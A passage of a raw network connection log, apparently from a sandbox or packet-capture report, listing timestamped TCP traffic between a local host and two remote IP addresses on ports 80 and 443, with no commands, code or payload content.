Nov 12, 2024 08:30:40.165422916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165425062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165436983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165461063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165461063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165512085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165688992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165702105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165714025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165729046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165754080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165754080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165771961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165782928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165792942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165805101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165818930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165827036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165832043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165836096 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165846109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.165875912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.165914059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166363001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166374922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166385889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166398048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166412115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166420937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166428089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166429043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166435003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166445971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166472912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166472912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166507959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166795969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166807890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166817904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166830063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166841030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166851997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166863918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166865110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166874886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.166888952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166912079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.166912079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167244911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167256117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167267084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167279005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167289019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167292118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167306900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167321920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167330027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167334080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167340040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167356968 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167398930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167628050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167638063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167649031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167682886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167690992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167690992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167695999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167711020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167723894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167727947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.167740107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167747974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.167768002 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168145895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168157101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168169975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168181896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168184042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168195009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168210983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168210983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168224096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168235064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168240070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168243885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168257952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168260098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168260098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168271065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168282986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.168303967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168303967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.168334007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.191430092 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.192022085 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.192047119 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.192517042 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.192528009 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.192668915 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.193021059 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.193054914 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.193500996 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.193506956 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.208323956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208389997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208399057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208404064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208436966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208436966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208511114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208523989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208544970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208569050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208647013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208658934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208672047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208684921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208695889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208698988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.208717108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.208755016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.280740976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280756950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280771017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280781984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280821085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.280824900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280858040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.280910015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280921936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280937910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.280972004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.280992985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281054020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281064034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281110048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281110048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281173944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281233072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281243086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281280041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281296968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281300068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281349897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281358957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281419992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281487942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281498909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281507969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281548977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281548977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281660080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281697989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281708002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281725883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281738043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281790972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281801939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281835079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281914949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281932116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281948090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281959057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.281971931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.281971931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282004118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282110929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282121897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282131910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282145977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282175064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282258987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282269001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282279968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282294035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282305956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282350063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282500029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282510996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282520056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282532930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282543898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282552004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282556057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282567024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282567978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282577038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282598972 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282643080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282824993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282875061 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282910109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282918930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282934904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282947063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282958984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282968044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282968044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.282968998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282979965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.282994032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283039093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283039093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283262014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283272982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283287048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283298016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283304930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283308029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283324003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283324957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283327103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283335924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283345938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283358097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283368111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283368111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283368111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283380032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283390999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283401966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283418894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283437967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283828974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283839941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283850908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283862114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283875942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.283875942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283912897 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.283912897 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284109116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284118891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284130096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284145117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284157038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284159899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284172058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284184933 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284200907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284221888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284415960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284426928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284436941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284450054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284462929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284467936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284472942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284486055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284490108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284499884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284528017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284528017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284847021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284858942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284872055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284884930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284889936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284898043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284909964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284910917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284910917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284923077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284926891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284934998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284946918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284946918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284959078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.284972906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.284991980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285449028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285460949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285470963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285482883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285485983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285495043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285505056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285517931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285517931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285528898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285541058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285541058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285551071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285552025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.285569906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.285604000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.321921110 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.321968079 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.322010040 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.322017908 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.322067022 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.322068930 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.324795961 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.324815035 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.324826002 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.324831009 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.325258970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325282097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325292110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325333118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325336933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325352907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325422049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325436115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325447083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325458050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325470924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325505972 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325530052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325541973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325624943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325645924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325658083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325670958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325685024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.325723886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.325723886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.326692104 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.326708078 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.326719999 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.326725960 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.337661028 CET	57102	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.337687016 CET	443	57102	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.337760925 CET	57102	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.338304996 CET	57103	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.338340998 CET	443	57103	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.338433027 CET	57103	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.339225054 CET	57102	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.339237928 CET	443	57102	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.339432001 CET	57103	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.339443922 CET	443	57103	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.398005009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.398036957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.398047924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.398092031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.398118973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.398184061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.398195028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.398231983 CET	49809	80	192.168.2.5	185.215.113.206
